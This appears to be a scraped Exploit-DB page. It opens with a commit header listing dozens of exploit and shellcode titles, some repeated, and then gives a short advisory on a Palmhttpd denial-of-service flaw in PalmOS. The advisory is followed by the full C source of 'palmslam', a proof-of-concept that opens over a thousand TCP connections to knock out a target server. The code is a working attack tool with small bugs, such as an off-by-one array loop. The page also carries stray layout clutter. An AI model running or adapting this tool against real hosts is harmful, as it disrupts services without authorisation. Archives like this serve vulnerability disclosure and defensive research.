880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
61 lines
No EOL
2 KiB
C
61 lines
No EOL
2 KiB
C
// source: https://www.securityfocus.com/bid/9608/info
|
|
|
|
It has been reported that Palmhttpd server may be prone to remote denial of service vulnerability, when an attacker attempts to establish multiple connections with the software. This issue occurs because PalmOS can only handle one client connection.
|
|
|
|
Shaun2k2 Palmhttpd version 3.0 and prior may be prone to this issue. Since the application is an extension of 'httpd for PalmOS' server by Jim Rees, it is assumed that 'httpd for PalmOS' is vulnerable as well, however, this product has been discontinued.
|
|
|
|
---palmslam.c
|
|
/* PalmOS httpd accept queue overflow PoC exploit.
|
|
* Compile: gcc palmslam.c -o palmslam
|
|
*
|
|
* -shaun2k2
|
|
*/
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <netdb.h>
|
|
#include <netinet/in.h>
|
|
#define MAX_CON 1025
|
|
int main(int argc, char *argv[]) {
|
|
if(argc < 3) {
|
|
printf("Usage: palmslam <host>
|
|
<port>\n");
|
|
exit(-1);
|
|
}
|
|
|
|
int sock[MAX_CON];
|
|
int i;
|
|
struct sockaddr_in dest[MAX_CON];
|
|
struct hostent *host;
|
|
if((host = gethostbyname(argv[1])) == -1) {
|
|
printf("Couldn't resolve %s!\n",
|
|
argv[1]);
|
|
exit(-1);
|
|
}
|
|
|
|
for(i = 0; i <= MAX_CON; i++) {
|
|
if((sock[i] = socket(AF_INET,
|
|
SOCK_STREAM, 0)) == -1) {
|
|
printf("Couldn't create
|
|
socket!\n");
|
|
exit(-1);
|
|
}
|
|
|
|
dest[i].sin_family = AF_INET;
|
|
dest[i].sin_port =
|
|
htons(atoi(argv[2]));
|
|
dest[i].sin_addr = *((struct in_addr
|
|
*)host->h_addr);
|
|
|
|
if(connect(sock[i], (struct sockaddr
|
|
*)&dest[i], sizeof(struct sockaddr)) == -1) {
|
|
printf("Couldn't connect to %s
|
|
on port %s!\n", argv[1], argv[2]);
|
|
exit(-1);
|
|
}
|
|
|
|
printf("%d : Connected!\n", i);
|
|
}
|
|
return(0);
|
|
} |